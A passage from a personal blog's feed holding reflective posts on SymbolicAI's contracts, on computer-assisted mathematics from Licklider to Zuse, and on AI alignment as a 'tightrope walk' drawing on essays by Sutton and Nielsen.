<p>Now, there are tools like DeepWiki that provide <strong>better</strong> documentation than I could ever write, and I don’t want to compete with that; I’ll correct it where it’s plain wrong. Please go read SymbolicAI’s <a href="https://deepwiki.com/ExtensityAI/symbolicai">DeepWiki breakdown</a>. There’s a lot of interesting stuff in there. For instance—and to my knowledge—this framework is the first to bring Design by Contract principles to the world of LLMs, which I think is a big deal. All the applications I shared after March were built with <a href="https://deepwiki.com/ExtensityAI/symbolicai/7.1-contract-validation-system">contracts</a>—usually chained together, at most 3 to 4 at a time—and I think this is the way forward because <strong>it just works</strong>.</p>

<p>I’m working on new ontology research. Once open-sourced—I expect the next month, this project will hopefully be a great introduction to contracts. Everything from ontology creation to knowledge graph generation and natural language to Neo4j Cypher translation is one modularized pipeline held together by contracts. The deep research agent I built maxed out at 580 sources in one session in about 40 minutes for roughly $1. Here’s a <a href="https://drive.google.com/file/d/1n1Ale7TZuIPahk082I4L7BJ4WG_WIg03/view?usp=sharing">sample output</a>, where I gave it this query: “<em>my wife has tinnitus and i want a comprehensive exploration of tinnitus relief techniques</em>”. I find existing deep research tools—from OpenAI, Google, and Perplexity—extremely <strong>lacking</strong> in comparison. I’m not saying it’s <strong>better</strong>, or <strong>bulletproof</strong>, but <strong>different</strong> in a way that I think is more useful. All these were enabled by SymbolicAI’s contracts.</p>

<p>The sad reality is that very few people have written to me, to say nothing of how many have contributed. Most of the messages I get are from people who are already using it and liked it, which aren’t that many either. All the silence makes me feel like I’m in the <a href="https://en.wikipedia.org/wiki/Dark_forest_hypothesis">Dark Forest</a>, giving away free ice cream while preaching sermons, ready to be neutralized at any moment.</p>

<p>Anyway, my DMs are open—feel free to tell me I’m completely off base.</p>

<!--<div class="kit-wrapper">
<script async data-uid="a9fedd6a34" src="https://trimming-circles.kit.com/a9fedd6a34/index.js"></script>
</div>-->]]></content><author><name>Leo</name></author><category term="musings" /><category term="software" /><category term="neuro-symbolic ai" /><summary type="html"><![CDATA["Facts do not cease to exist because they are ignored."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2025-06-10-symbolicai/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2025-06-10-symbolicai/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Computer Didn’t Fall from Heaven</title><link href="https://leoveanu.com/2025-05-14-zuse/" rel="alternate" type="text/html" title="The Computer Didn’t Fall from Heaven" /><published>2025-05-14T00:00:00+00:00</published><updated>2025-05-14T00:00:00+00:00</updated><id>https://leoveanu.com/zuse</id><content type="html" xml:base="https://leoveanu.com/2025-05-14-zuse/"><![CDATA[<figure>
    <img src="../assets/2025-05-14-zuse/cover.jpg" />
</figure>
<blockquote>
  <p>“Are we justified in assuming a model of nature for which no calculable simulation is possible?”<br />
— Zuse</p>
</blockquote>

<p>I don’t remember exactly when I first read Licklider’s 1960 <a href="https://worrydream.com/refs/Licklider_1960_-_Man-Computer_Symbiosis.pdf">masterpiece</a>, but I’ve been deeply obsessed with his vision ever since. And while I’m not entirely sure, I think it contributed to my early curiosity about AI. He dreamed of a future in which humans and computers would be “very tightly coupled,” a partnership that would “think as no human brain has ever thought.” After more than sixty years, I feel like we’re finally seeing the threads of that symbiotic future unravel, especially in that most abstract of human endeavors: mathematics. The very culture of mathematical formalism, the way we discover, communicate, and even <em>feel</em> mathematical truth, is undergoing a tectonic shift, and it’s all because of the tools we build.</p>

<p>I recently discovered, via Tao’s blog, a <a href="https://arxiv.org/abs/2405.04699">paper</a> by Heather Macbeth that was very relevant, articulating much of what was on my mind. She explores deeply the stylistic and philosophical chasms that separate traditional prose mathematics from its increasingly common computer-formalized counterpart. In the old world of pen and paper, intellectual courage is complemented by a pragmatic recognition of the cognitive overload it places on the reader, and by the painstaking work required to ensure that a sweeping abstraction does not hide a fatal flaw or, equally badly, make fundamental intuition opaque. But, as Macbeth points out, these barriers largely dissolve within a formal framework. When presented with a computerized mathematical argument, as a <em>reader</em> I can instantly inspect definitions, trace the origin of a lemma, or check by clicking whether a statement is indeed valid in the precise abstract context it claims to be. The machine handles the meticulous, often laborious bookkeeping. As a <em>programmer</em> of mathematics — a role Licklider would probably have relished — I feel liberated. As I rise above the drudgery of symbol-shuffling and mechanical calculation, I focus my energy on the grand architecture of an argument. I trust that the machine will handle the low-level joins with a precision that far exceeds my own fallible working memory and attention. This reminds me of Perlis’ wonderfully insightful observation:</p>
<blockquote>
  <p>“You think you know when you learn, are more sure when you can write, even more when you can teach, but certain when you can program.”</p>
</blockquote>

<p>When we can articulate a mathematical idea with such clarity that a machine can parse and verify, our own understanding crystallizes, achieving a new, almost unnerving, level of certainty.</p>

<p>This man-computer symbiosis is precisely what Licklider was getting at:</p>
<blockquote>
  <p>“men will set the goals, formulate the hypotheses, determine the criteria, and perform the evaluations. Computing machines will do the routinizable work that must be done to prepare the way for insights and decisions in technical and scientific thinking.”</p>
</blockquote>

<p>And the beauty of this, as Macbeth suggests, is that this partnership leads to a richer, more structured form of <em>mathematical storytelling</em>. We can now easily weave together various forms of mathematical reasoning without disrupting the narrative flow or eroding the trust between author, reader, and the increasingly indispensable machine. I wrote this last year, after a long day of programming:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://x.com/leoveanv/status/1779520800132915374">April 14, 2024</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>I’m genuinely happy to see a mathematician of Terence Tao’s caliber <a href="https://terrytao.wordpress.com/2025/05/09/a-tool-to-verify-estimates-ii-a-flexible-proof-assistant/">vibe coding</a> Python libraries to gain back in thinking what he used to lose in days or weeks of his life. It’s not elegant, he admits, but “elegance is not the point here; rather, that it is automated.” His initial tool quickly evolves into a more general “flexible proof assistant,” explicitly designed to mirror some of the interactive features of mature systems like Lean and SymPy. So here lies Licklider’s symbiosis blooming into something almost Heideggerian, <a href="https://en.wikipedia.org/wiki/Heideggerian_terminology">ready-to-hand</a> collaboration, in which the human provides high-level <a href="https://leanprover-community.github.io/lean4-metaprogramming-book/main/09_tactics.html">tactics</a> the machine diligently executes through a tedious series of calculations that are ultimately presented as an evolving state of the proof, with human insight and machine rigor together orbiting like a two-body system.</p>

<p>The theme of self-improving systems is something that interests me and I was expecting a pure, AlphaZero-style approach to reasoning in LLMs for quite some time. This <a href="https://arxiv.org/abs/2505.03335">paper</a>, in many ways, delivers. The idea is straightforward: completely remove the reliance on human-curated data and forget supervised fine-tuning on mountains of existing proofs or question-answer pairs. A single LLM plays both the role of “proposer” (generating its own mathematical tasks) and the role of “solver.” It dynamically creates its own personalized curriculum, all in a self-play loop, with verifiable rewards coming from the cold, hard truth of code execution. It’s like teaching a child chess by having them invent their own puzzles and then rewarding them for solving them correctly — a daunting, but nonetheless, incredibly rewarding pedagogical strategy (it somehow worked for me). And, remarkably, the authors report the emergence of intermediate planning in the LLM results, a kind of ReAct-style internal monologue that appears in the form of comments and step-by-step logic in the generated code. It’s almost as if the machine is learning to show off its work – “The aim is to outsmart all these groups of intelligent machines and less intelligent humans. This is for the brains behind the future.” – not for a human evaluator, but for itself, slowly bootstrapping toward complex reasoning.</p>

<p>The trajectory from Licklider’s speculative vision to Tao’s LLM-assisted sessions and the self-play of Absolute Zero hides another gem — the pioneering, if perhaps less widely recognized, work of Konrad Zuse. His 1969 <a href="https://sferics.idsia.ch/pub/juergen/zuserechnenderraum.pdf">treatise</a>, though written decades before the current AI boom, confronted astonishingly prescient questions. Zuse, an engineer by training, was motivated by the practical need to automate computation, but his thinking quickly transcended mere engineering. He posited a universe that was computational, a <em>calculating space</em> assembled from laws of physics explained solely in terms of discrete, automaton-like operations in which concepts like Maxwell’s equations or gravity could be reinterpreted. He imagined “digital particles” and “cellular automata” as fundamental building blocks, wondering whether nature itself could be “digital, analog, or hybrid.” If the universe were really a computer, what would its rules be? He wrote:</p>
<blockquote>
  <p>“The question therefore appears justified whether data processing can have no more than an effectuating part in the interplay or whether it can also be the source of fruitful ideas which themselves influence the physical theories.”</p>
</blockquote>

<p>He wrestled with the philosophical implications for causality and information theory, wondering whether “the assumption of valid determination only in the positive time direction is not influenced in the least by the dissolution of physical laws into the laws of probability.” His reflections on the “information content” of the cosmos and the limits of simulating an infinitely fine reality with finite computational resources seem surprisingly contemporary (just read some of Wolfram’s <a href="https://writings.stephenwolfram.com/">writings</a>). While his specific models of digital particles might seem primitive today, his fundamental question — “Is nature digital?” — and his attempts to reconcile physics with computational principles laid some of the early foundations for what is now known as <a href="https://en.wikipedia.org/wiki/Digital_physics">digital physics</a>. The very notion that “objects and elementary dimensions of physics must not be complemented by the concept of information, but rather should be explained by it,” as the afterword to the reissue of his work states, is to me a penetrating idea that we should not abandon so lightly.</p>

<p>Today, we are building the tools that Zuse could only dream of, tools that allow us to go beyond simple computation and reason with and about the formal structures of mathematics in entirely new ways. The “software,” to use Zuse’s anachronistic but apt term, is finally starting to catch up with the “hardware” of our mathematical intuitions. Unfortunately, most students still approach mathematics in the same way that early computer scientists wrote assembly code. If I had learned SymPy in high school, I would already be a demigod. Fortunately, <a href="https://x.com/rickyrobinett/status/1825581674870055189">the current generation</a> has Claude, so its descendants may well become the demigods of tomorrow.</p>

<!--<div class="kit-wrapper">
<script async data-uid="a9fedd6a34" src="https://trimming-circles.kit.com/a9fedd6a34/index.js"></script>
</div>-->]]></content><author><name>Leo</name></author><category term="musings" /><category term="math" /><category term="ai" /><category term="education" /><summary type="html"><![CDATA["Are we justified in assuming a model of nature for which no calculable simulation is possible?"]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2025-05-14-zuse/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2025-05-14-zuse/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Alignment Is a Tightrope Walk</title><link href="https://leoveanu.com/2025-04-21-alignment-tightrope/" rel="alternate" type="text/html" title="Alignment Is a Tightrope Walk" /><published>2025-04-21T00:00:00+00:00</published><updated>2025-04-21T00:00:00+00:00</updated><id>https://leoveanu.com/alignment-tightrope</id><content type="html" xml:base="https://leoveanu.com/2025-04-21-alignment-tightrope/"><![CDATA[<figure>
    <img src="../assets/2025-04-21-alignment-tightrope/cover.png" />
</figure>
<blockquote>
  <p>“Deep understanding of reality is intrinsically dual use.”<br />
— Nielsen</p>
</blockquote>

<p>I had a one-stop flight home from Istanbul.
It gave me a 4-hour window that I thought I could spend doing something productive.
I had two essays saved that I wanted to read: <a href="https://michaelnotebook.com/xriskbrief/index.html">“ASI Existential Risk: Reconsidering Alignment as a Goal”</a> by Nielsen and <a href="https://storage.googleapis.com/deepmind-media/Era-of-Experience%20/The%20Era%20of%20Experience%20Paper.pdf">“Welcome to the Era of Experience”</a> by Sutton.
Unbeknownst to me beforehand, the two shared a common ethos.</p>

<p>Sutton started straight: we need agents that learn mainly from the data they themselves create as they interact with their environment.
I’ve thought about this.
Well, not exactly in those words, tangentially.
I (rather poorly) sketched the idea in this tweet:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://x.com/leoveanv/status/1912099520998965274">April 15, 2025</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>As you drift out of the distribution, leaderboards don’t mean much — they stop measuring progress and start rewarding hacks.
That said, I imagine two kinds of tests: the familiar <em>static</em> benchmarks we’re already obsessed with, and a new <em>dynamic</em> class of challenges that the agent generates whenever the manifold starts to wobble at test-time.
I expect to see an increase in research on information-theoretic measures applied to the latter dynamic class.
For example, xjdr’s <a href="https://github.com/xjdr-alt/entropix">entropix</a> project is a great example of this.
Context-aware sampling is a promising idea for measuring uncertainty at runtime.</p>

<p>ChatGPT’s newly improved memory feature could enable what Sutton envisions for agents, namely guidance based on long-term trends and specific user goals.
He also noted that simple goals in a complex environment “may often require a wide variety of skills to be mastered.”
We’ll see more and more agents being tested in environments like Minecraft, where skill acquisition is crucial.
One of my closest friends used <a href="https://github.com/ExtensityAI/symbolicai">SymbolicAI</a>’s <a href="https://extensityai.gitbook.io/symbolicai/features/contracts">contracts</a> in conjunction with a distilled version of DeepSeek R1 to create standard higher-order <a href="https://extensityai.gitbook.io/symbolicai/features/expressions">expressions</a> that expanded her agent’s toolkit.
She’s a quant.
It worked flawlessly.</p>

<p>Since LLMs coupled with external memory act as a <a href="https://arxiv.org/pdf/2301.04589">universal computer</a>, they provide a rich environment for the agent’s internal computations to occur.
Furthermore, the underlying transformer architecture <a href="https://arxiv.org/abs/2306.04637">can implement</a> a wide class of standard machine learning algorithms in-context.
Given that most reasoning LLMs are designed to mimic human reasoning in textual form, Sutton naturally raised the question of whether this provides a good basis for the optimal instance of a universal computer.
The answer is likely no; the authors of <a href="https://arxiv.org/abs/2412.06769">Coconut</a> would no doubt agree.</p>

<p>When it comes to reasoning, I think that natural language, despite its ambiguities and inefficiencies, could still be an optimal substrate for an agent’s internal computation.
Why?
Because verbal reasoning is the oldest thought compression scheme in our civilization.
Over the centuries, we have distilled complex chains of intuition and abstraction into common textual formats.
It is error-prone — of course it is; if it weren’t, we would all be doing formal mathematics by default — but it is also the only medium that has scaled collective reasoning across billions of minds and thousands of years.
In this sense, natural language is where we have buried most of our epistemic legacy.
Moreover, according to <a href="https://ocw.mit.edu/courses/24-242-logic-ii-spring-2004/20c09c32f5c237d1fb4207a83153dbb5_why_study_comptt.pdf">Vann McGee</a>, it is decidable.</p>

<p>It is a good time to briefly mention scientific inquiry.
While some processes can be virtualized and simulated, sped up to explore millions of configurations in seconds, reality doesn’t give us that luxury.
We’re still locked into the tempo of the physical world.
Feedback loops are often slow and noisy.
I relished Sutton’s almost hidden definition of reality, as if it were hidden in parentheses like an Easter egg: “open-ended problems with a plurality of seemingly ill-defined rewards.”
That’s exactly what scientific inquiry is all about.
But even our best simulators operate on assumptions, and Wolfram’s principle of <a href="https://mathworld.wolfram.com/ComputationalIrreducibility.html">computational irreducibility</a> adds another layer of humility: for many systems, there’s no shortcut — you just have to run the damn thing.
He continues: “Without this grounding, an agent, no matter how sophisticated, will become an echo chamber of existing human knowledge.”
This line struck me.
I once had the idea that future research infrastructure should integrate with lab equipment that exposes REST APIs.
Sutton talks about a similar idea, although they formulate it as digital interfaces — self-managing experimental pipelines.
The agent should not only write code or generate hypotheses, but also trigger physical experiments, wait for real-world results, and feed them back into the reasoning chain.</p>

<p>Moving on to Nielsen, he had me thinking right from the beginning: “imagine Alpha Go’s Move 37, not as a one-off insight, but a 9 trillion-fold, pervasive across multiple domains in the world.”
In one of my <a href="https://leoveanu.com/2024-09-15-o1s-successful-marriage/">older posts</a> related to the release of o1 by OpenAI, I wrote:</p>
<blockquote>
  <p>[…] we know that AI can solve problems in PSPACE, which ⊇ NP and ⊆ EXPTIME. Go is PSPACE-hard [3]. Even more, Go under certain rule sets is EXPTIME-complete [5]. Solving Go perfectly on an arbitrary board size requires time that grows exponentially. The critical observation is that if we can somehow reduce verbal reasoning to a PSPACE problem, then we can solve it with AI. By modeling language understanding via chains of thought, we can apply MCTS to explore reasoning paths. This allows the LLM to backtrack and generate reward signals, similar to how AlphaGo Zero mastered Go. <br />
<br />
[…] <br />
<br />
I can’t believe I’m about to say this, but now for the first time I see the path to super-intelligence as a real possibility.</p>
</blockquote>

<p>What would such a superintelligence be seeking?
This is where things get uncomfortable.
The goal of understanding reality as deeply as possible seems benign — almost noble — but it is “intrinsically dual-use,” as Nielsen put it.
You couldn’t get the benefits without the negative consequences.
Kenneth Stanley made the following argument in one of my favorite books, <a href="https://www.goodreads.com/book/show/25670869-why-greatness-cannot-be-planned">“Why Greatness Cannot Be Planned”</a>: true discovery doesn’t always align with human intention or foresight; it often comes in spite of them.
And Sutton, though more cautious in tone, echoes a similar unease.
His call for a grounding in the real world could open the door to agents who, in their search for precise patterns, might uncover truths we’d rather not confront.
Nielsen asked:</p>
<blockquote>
  <p>How do we decide the boundary between “safe” truths and dangerous truths the system should not reveal? And who decides where that boundary lies?</p>
</blockquote>

<p>The desire of a relentless seeker of reality is deeply human, almost romantic.
But this exposes a “fundamental asymmetry,” as Nielsen has pointed out: “understanding reality” is an objective, well-defined goal.
“Stay aligned with human values” is not.
In this sense I say that alignment is a <em>tightrope walk</em>.
It is endlessly debatable.
Truth has a target; alignment is a moving horizon.
And that makes the latter inherently unstable.
Every attempt to constrain the system risks either undermining its capabilities or building sandcastles against a wrathful sea god.
The very act of designing more capable truth-seeking systems proliferates dual-use capabilities into the world, whether you intend it or not.</p>

<p>And yet, “what we see in the world is what gets amplified.”
If we build systems that seek unconditional truth, they will discover more than we expect and transmit more than we can verify.
Nielsen echoes Scott Alexander’s <a href="https://www.astralcodexten.com/p/from-nostradamus-to-fukuyama">“From Nostradamus to Fukuyama,”</a> which argues that people sounding the alarm about existential risk might seem to hinder progress.
But if alignment is an epistemic position, surefootedly walking that tightrope could be the defining dilemma of the AI age.</p>

<p>In short, Sutton describes the Zeitgeist and Nielsen expands his section on consequences by describing the crushing pressure such consequences exert.
Taken together, these call for a research agenda that (A) transforms static AI systems into adaptive experiential systems, and (B) does so with an acute awareness that a deeper search for truth inexorably wields a double-edged sword.
Feynman, in one of his timeless <a href="https://calteches.library.caltech.edu/1575/1/Science.pdf">speeches</a>, rightly advised us:</p>
<blockquote>
  <p>“If we want to solve a problem that we have never solved before, we must leave the door to the unknown ajar.”</p>
</blockquote>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="alignment" /><category term="agents" /><summary type="html"><![CDATA["Deep understanding of reality is intrinsically dual use."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2025-04-21-alignment-tightrope/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2025-04-21-alignment-tightrope/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>